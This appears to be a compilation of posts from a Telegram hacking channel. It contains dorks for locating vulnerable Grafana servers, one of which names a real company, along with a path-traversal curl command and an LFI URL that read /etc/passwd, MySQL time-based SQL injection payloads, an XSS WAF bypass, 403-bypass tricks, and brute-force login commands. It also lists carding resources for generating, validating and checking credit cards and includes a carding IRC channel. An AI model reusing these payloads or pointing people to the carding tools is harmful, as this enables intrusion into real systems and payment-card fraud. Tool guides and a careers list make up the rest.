Termux All Command [Telegram Group]

1. FOFA Dork: (cert.subject.cn="target.com" || domain="target.com") && app="grafana" && port="3000" && (icon_hash="2123863676" icon_hash="1884118115" icon_hash="-928274465") && (body="v8.0.0-beta1" body="v8.0.0" body="v8.0.1" body="v8.0.2" body="v8.0.3" || body="v8.1.0" body="v8.1.1" body="v8.1.2" body="v8.1.3" body="v8.2.0" body="v8.2.1" body="v8.2.2" body="v8.2.3" body="v8.2.4" body="v8.3.0" body="v8.3.1" body="v8.0.2" body="v8.0.3" body="v8.0.4" body="v8.0.5" body="v8.0.6" body="v8.0.7" body="v8.1.4" body="v8.1.5" body="v8.1.6" body="v8.1.7" body="v8.1.8" body="v8.2.5" body="v8.2.6" body="v8.2.7") 2. ZoomEye Dork: (ssl.cert.subject.cn="target.com" || domain="target.com") && (app="grafana" product="grafana" title="grafana" iconhash="2123863676" iconhash="1884118115" || iconhash="-928274465") && port=3000 && (http.body="v8.0.0-beta1" http.body="v8.0.0" http.body="v8.0.1" http.body="v8.0.2" http.body="v8.0.3" http.body="v8.1.0" http.body="v8.1.1" http.body="v8.1.2" http.body="v8.1.3" http.body="v8.2.0" http.body="v8.2.1" http.body="v8.2.2" http.body="v8.2.3" http.body="v8.2.4" http.body="v8.3.0" http.body="v8.3.1" http.body="v8.0.2" http.body="v8.0.3" http.body="v8.0.4" http.body="v8.0.5" http.body="v8.0.6" http.body="v8.0.7" http.body="v8.1.4" http.body="v8.1.5" http.body="v8.1.6" http.body="v8.1.7" http.body="v8.1.8" http.body="v8.2.5" http.body="v8.2.6" || http.body="v8.2.7") 3. Shodan Dork: Ssl.cert.subject.CN:"tesla.com" product:grafana,http.favicon.hash:2123863676,1884118115,-928274465 port:3000 curl --path-as-is http://[target.com]:3000/public/plugins/alertlist/../../../../../../../../etc/passwd

DNS History + Archive.org: The Forgotten Recon Trick: What Can You Find? Old subdomains or URLs may still be useful or vulnerable, including: - Re-used subdomains without security fixes - Old S3 buckets that are still pointing to the old subdomain - Subdomain takeover opportunities - Leaked parameters or credentials - Forgotten endpoints no one monitors Step 1: DNS History Lookup: You can use the following tools to search for old DNS records (A records, CNAMEs, MX entries): - SecurityTrails - DNSDumpster - ViewDNS Step 2: Archive.org It: Go to Web.archive.org and search the following: - Dead subdomains: https://subdomain.target.com - Forgotten paths: https://api.target.com/v1/ Why This Works: By searching old records and URLs, you may uncover: - API keys that were once exposed - Old endpoints that still exist - Login pages that were left unprotected - Backup files (often publicly accessible) - Internal tools or staging environments Bonus Tip: Enhance Your Recon Combine this trick with tools like: - gau (Get All URLs) - waybackurls - urlhunter Then, filter the results for high-risk keywords like: admin, backup, login, .git, .env, etc.

Today I received a Local File Inclusion (LFI) alert via automated scanning, pointing to a possible vulnerability at: https://redacted[.]com/pages/downloadPublicFile?fileName=../../../../../../../../../../../../../../etc/passwd

Carding Tools Online PUBLISHED ✓ ╭ • Credit Card Generator: │ ├ https://creditcardgenerator.com/ ├ https://ccard-generator.com/bulk-generate/visa ├ https://bestccgen.com/bulk-card-generator.php ├ https://richcreditcards.com/valid-credit-card-generator.php ├ https://bestccgen.com/namso-ccgen/ ├ https://checkz.net/tools/credit-card-generator/ │ └─────────────────────── ╭ • Credit Card Validator: │ ├ https://richcreditcards.com/credit-card-validator.html ├ https://bestccgen.com/credit-card-validator.php │ └─────────────────────── ╭ • Credit Card Checker: ├ https://mrchecker.net/card/ccn2/ ├ http://Validcc.net │ │ └─────────────────────── ╭ • Bin Checker: │ ├ https://checkz.net/tools/credit-card-bin-checker/ ├ https://ccbins.pro/ │ └─────────────────────── ╭ • Temporary mail: │ ├ https://tempail.com ├ https://www.mohmal.com ├ https://temp-mail.org ├ https://emailnator.com │ └─────────────────────── ╭ • Notepad: │ ├ https://ghostbin.com ├ https://hastebin.com ├ https://pastebin.com │ └─────────────────────── ╭ • Generate personal data: │ ├ www.fakenamegenerator.com ├ www.datafakegenerator.com ├ https://randomuser.me ├ http://4devs.com.br │ └─────────────────────── ╭ • Number of virtual phones: │ ├ https://smsreceivefree.com ├ https://tempophone.com │ └─────────────────────── ╭ • Check IP address: │ ├ https://ifcfg.me │ └─────────────────────── ╭ • Carding Center IRC: │ ├ https://web.chknet.eu │ └───────────────────────

🔖 Fast Endpoint Buster 🚀 Quickly discover hidden or undocumented endpoints from any website's source code. Just enter a target URL and uncover potential API paths, directories, and more — fast and efficiently! 🔗https://moe-code-22.github.io/Endpoint-Buster/

⚔️Windows11 Penetration Suite Toolkit 🔰 The First Windows Penetration Testing Environment on Mac M Chips. https://github.com/arch3rPro/Pentest-Windows

Here's a List Of 50 Different Cybersecurity Careers 1. Security Analyst 2. Penetration Tester 3. Security Consultant 4. Incident Responder 5. Security Engineer 6. Ethical Hacker 7. Security Architect 8. Malware Analyst 9. Cryptographer 10. Security Administrator 11. Network Security Engineer 12. Security Auditor 13. Security Operations Center (SOC) Analyst 14. Threat Intelligence Analyst 15. Security Compliance Analyst 16. Security Researcher 17. Security Awareness Trainer 18. Forensic Analyst 19. Risk Analyst 20. Application Security Engineer 21. Data Privacy Officer 22. Identity and Access Management (IAM) Specialist 23. Cloud Security Engineer 24. IoT Security Specialist 25. Industrial Control System (ICS) Security Analyst 26. Mobile Security Analyst 27. Wireless Security Engineer 28. Blockchain Security Specialist 29. Embedded Systems Security Analyst 30. Incident Handler 31. Security Information and Event Management (SIEM) Engineer 32. Network Forensics Analyst 33. Threat Hunter 34. Disaster Recovery Specialist 35. Business Continuity Planner 36. Security Software Developer 37. DevSecOps Engineer 38. Cybersecurity Sales Engineer 39. Security Program Manager 40. Security Policy Analyst 41. Cyber Insurance Analyst 42. Security Education Specialist 43. Security Risk Manager 44. Security Compliance Manager 45. Cloud Security Architect 46. Red Team Operator 47. Blue Team Operator 48. Security Tool Developer 49. Security Awareness Manager 50. Cybersecurity Trainer

Free Mobile Security Labs. 10 Android Application Exploitation Challenges 11 iOS Application Exploitation Challenges 9 ARM Exploitation Challenges https://8ksec.io/battle/

certain HTTP status codes (like 403 or 404): dirb http://example.com -X 403,404 ------ Mastering Wfuzz: A Quick Guide for Bug Hunters: - Brute-force login example: wfuzz -z file,users.txt -z file,passwords.txt --sc 200 -d "uname=FUZZ&pass=FUZ2Z" http://example.com/login.php - Directory fuzzing: wfuzz -c -z file,wordlist.txt http://example.com/FUZZ - Subdomain fuzzing: wfuzz -c -w subdomains.txt http://FUZZ.example.com - Double fuzzing: wfuzz -w wordlist1.txt -w wordlist2.txt http://example.com/FUZZ/FUZ2Z - Cookie fuzzing: wfuzz -z file,cookies.txt -b cookie=FUZZ http://example.com/dashboard - HTTP methods fuzzing: wfuzz -c -w methods.txt --sc 200 -X FUZZ http://example.com - Filter by status code: wfuzz -w wordlist.txt --sc 200 http://example.com/FUZZ - Save results to CSV: wfuzz -w wordlist.txt -f /tmp/output.csv --sc 200 http://example.com/FUZZ - Manage sessions (save/load): wfuzz -w wordlist.txt --dump-recipe /tmp/session --sc 200 http://example.com/FUZZ

🔍 Find Secrets in Hidden Directories Using Fuzzing: ffuf -w /path/to/wordlist.txt -u https://example.com/FUZZ -o results.txt gobuster dir -u https://example.com -w /path/to/wordlist.txt dirb https://example.com /path/to/wordlist.txt wfuzz -c -z file,/path/to/wordlist.txt --hc 404 https://example.com/FUZZ Example: /usr/share/wordlists/dirb/common.txt Command: ffuf -w /usr/share/wordlists/dirb/common.txt -u https://example.com/FUZZ Common Targets: Config Files: /config.php, /settings.json Backups: /backup.zip, /db.sql Environment Files: /.env 🌌 Advanced Fuzzing Tips: 1. Recursive Fuzzing: ffuf -w /usr/share/wordlists/dirb/common.txt -u https://example.com/admin/FUZZ 2. Try Extensions: ffuf -w /usr/share/wordlists/dirb/common.txt -u https://example.com/FUZZ -e .php,.html,.bak 3. Filter Noise: ffuf -w /usr/share/wordlists/dirb/common.txt -u https://example.com/FUZZ -mc 200 ------ 🚀 Mastering FFUF – The Ultimate Fuzzing Toolkit: 1. URL Fuzzing: ffuf -w wordlist.txt -u http://target.com/FUZZ 2. Filter HTTP Status Codes: ffuf -w wordlist.txt -u http://target.com/FUZZ -fc 301 2. Filter HTTP Status Codes: ffuf -w wordlist.txt -u http://target.com/FUZZ -fc 301 --recursion --recursion-depth 2 3. Fuzz File Extensions: ffuf -w wordlist.txt -u http://target.com/FUZZ.EXT -w extensions.txt:EXT 💡 Advanced Tactics: 1. Header Manipulation: ffuf -w wordlist.txt -u http://target.com/FUZZ -H "User-Agent: CustomAgent" 2. Filter by Content Length: ffuf -w wordlist.txt -u http://target.com/FUZZ -fs 28 3. Directory-Specific Fuzzing with Auto Calibration: ffuf -w wordlist.txt -u http://target.com/FUZZ -ac -acc /admin -acc /secret 4. Extension Fuzzing in One Go: ffuf -w wordlist.txt -u http://target.com/FUZZ -e .php,.bak,.db 5. Timing and Thread Control: ffuf -w wordlist.txt -u http://target.com/FUZZ -p 0.5-10 -t 100 6. Filter Multiple HTTP Codes: ffuf -w wordlist.txt -u http://target.com/FUZZ -fc 404,500,501 7. Parameter Fuzzing: ffuf -w wordlist.txt -u "http://target.com/?param1=FUZZ&param2=test" -fc 200 🎲 Custom Charset-Based Fuzzing: ffuf -w wordlist.txt -u http://target.com/login -X POST -d "username=FUZZ&password=test" -c 'a-z0-9' 📊 JSON Output: ffuf -w wordlist.txt -u http://target.com/FUZZ -o result.json 🎯 Pro Tips: - Use -ac (auto-calibration) to remove false positives. - Combine recursion + filtering to find deep hidden dirs. - Use -mc to include only matching HTTP codes. - Use burp wordlists, SecLists, or custom generated lists. ------ 🚀 Mastering Gobuster: Unveiling Hidden Paths in Web Applications: 1️⃣ Directory/File Bruteforce: gobuster dir -u https://example.com -w /path/to/wordlist 2️⃣ Subdomain Enumeration: gobuster dns -d example.com -w /path/to/wordlist 3️⃣ Amazon S3 Bucket Discovery: gobuster s3 -w /path/to/wordlist 4️⃣ Virtual Host Discovery: gobuster vhost -u https://example.com -w /path/to/wordlist 5️⃣ Parameter Fuzzing: gobuster fuzz -u "https://example.com/page?param=FUZZ" -w /path/to/wordlist 5️⃣ Fuzzing Parameter Names:gobuster fuzz -u "https://example.com/page?FUZZ=value" -w /path/to/wordlist 🧪 Example Full Use Case: # 1. Directory Bruteforce: gobuster dir -u https://target.com -w /usr/share/seclists/Discovery/Web-Content/common.txt # 2. Subdomain Enumeration: gobuster dns -d target.com -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt # 3. S3 Bucket Bruteforce: gobuster s3 -w /usr/share/seclists/Discovery/DNS/s3-buckets.txt # 4. Virtual Host Discovery: gobuster vhost -u https://target.com -w /usr/share/seclists/Discovery/DNS/virtual-hosts.txt # 5. Parameter Name Fuzzing: gobuster fuzz -u "https://target.com/page?FUZZ=value" -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt ------ Mastering DIRB: A Guide to Discovering Hidden Web Directories: Common DIRB Commands - Basic scan with default wordlist: dirb http://example.com - Use custom wordlist: dirb http://example.com /path/to/custom_wordlist.txt - Scan HTTPS sites: dirb https://secure-website.com - Recursive scan to explore discovered directories: dirb http://example.com -r - Exclude

#MySQL Blind Time Based Payload: 0'XOR(if(now()=sysdate(),sleep(5),0))XOR'Z 0'XOR(if (now()=sysdate(),sleep(5*1),0))XOR'Z if(now()=sysdate(), sleep(5),0) 'XOR(if(now()=sysdate(), sleep(5),0))XOR' 'XOR(if (now()=sysdate(), sleep(5*1),0))OR'

Exploiting this reflected XSS was fun, WAF present but bypass with backticks `` Payload: ");alert1337;//1337

Top 15 Vulnerability Scanners ☣️ 1) Nuclei - Nuclei is a fast tool for configurable targeted scanning based on templates offering massive extensibility and ease of use.🔗https://lnkd.in/eRMsgN-8 2) Sn1per - Automated pentest framework for offensive security experts. 🔗https://lnkd.in/eDMFWd7y 3) Metasploit-framework - The Metasploit Project is a computer security project that provides information about security vulnerabilities and aids in penetration testing and IDS signature development. 🔗https://lnkd.in/edAfDkN5 4) Nikto - Web server scanner. 🔗https://lnkd.in/eAaNf-JC 5) Arachni - Web Application Security Scanner Framework. 🔗https://lnkd.in/e2P3MeTX 6) Jaeles - The Swiss Army knife for automated Web Application Testing. 🔗https://lnkd.in/eA_WNHV6 7) Retire.js 2 - Scanner detecting the use of JavaScript libraries with known vulnerabilities. 🔗https://lnkd.in/eKtHyenX 8) Osmedeus - Fully automated offensive security framework for reconnaissance and vulnerability scanning. 🔗https://lnkd.in/ecVui6YC 9) Getsploit - Command line utility for searching and downloading exploits. 🔗https://lnkd.in/e6jQswWJ 10) Flan - A pretty sweet vulnerability scanner. 🔗https://lnkd.in/ePVADaw2 11) Findsploit - Find exploits in local and online databases instantly. 🔗https://lnkd.in/eR8ac6_d 12) Blackwidow - A Python based web application scanner to gather OSINT and fuzz for OWASP vulnerabilities on a target website. 🔗https://lnkd.in/eVUyDSEd 13) Backslash-powered-scanner - Finds unknown classes of injection vulnerabilities. 🔗https://lnkd.in/em2U3mwC 14) Eagle - Multithreaded Plugin based vulnerability scanner for mass detection of web-based applications vulnerabilities. 🔗https://lnkd.in/ewdjGrm3 15) Cariddi - Take a list of domains, crawl urls and scan for endpoints, secrets, api keys, file extensions, tokens and more... 🔗https://lnkd.in/eSy-UKPS

Firstly make a Full port scanning then run it command: rustscan -a 'hosts.txt' -r 1-65535 | grep Open | tee open_ports.txt | sed 's/Open //' | httpx -silent | nuclei -t ~/nuclei-templates/

5 Ways to Bypass "403 Forbidden": 1. Change the Letter Case: /admin → 403 Forbidden /AdMiN → 200 OK 2. Use Alternate HTTP Versions: HTTP/0.9 HTTP/1.0 HTTP/1.1 HTTP/2 HTTP/3 3. HTTP Method Fuzzing: GET /admin → 403 POST /admin → 403 PUT /admin → 403 PATCH /admin → 200 OK 4. User-Agent Fuzzing: GET /admin HTTP/1.1 Host: target.com User-Agent: Googlebot 5. Path Fuzzing: /admin/? //admin// ///admin/// /admin/. /admin..;/

Did you know if you go to takeout.google.com You can download all the data Google has on you. History, emails, files, etc 😲

𝐀𝐧𝐝 𝐭𝐡𝐚𝐭’𝐬 𝐰𝐡𝐞𝐫𝐞 𝐭𝐡𝐞 𝐎𝐖𝐀𝐒𝐏 𝐖𝐞𝐛 𝐒𝐞𝐜𝐮𝐫𝐢𝐭𝐲 𝐓𝐞𝐬𝐭𝐢𝐧𝐠 𝐆𝐮𝐢𝐝𝐞 (𝐖𝐒𝐓𝐆) 𝐜𝐨𝐦𝐞𝐬 𝐢𝐧 𝐡𝐚𝐧𝐝𝐲 👇 1. Information Gathering Checklist -> https://lnkd.in/disMcswd 2. Misconfiguration Testing Checklist -> https://lnkd.in/dxySGJZp 3. Identity Management Testing Checklist -> https://lnkd.in/d6wuNkW4 4. Authentication Testing Checklist -> https://lnkd.in/dgG9SDwU 5. Authorisation Testing Checklist -> https://lnkd.in/d39b7aUR 6. Session Management Testing Checklist -> https://lnkd.in/d8qUtU99 7. Input Validation Testing Checklist -> https://lnkd.in/dxkCxMbP 8. Error Handling Checklist -> https://lnkd.in/dqvyf4Va 9. Weak Cryptography Checklist -> https://lnkd.in/drQ4WMrg 10. Business Logic Testing Checklist -> https://lnkd.in/dGitYznK

🌹Ethical H@cking Masterclass 🥀 Contains every single thing you need to know from zero level to advanced. It's very comprehensive.⭐️ Size: 56.1 GB ❤️ Contains more than 500+ practical video 💠Link: https://drive.google.com/drive/folders/1mZwaNmPJB6OcGf-lSejIvbU8y2YxjDt4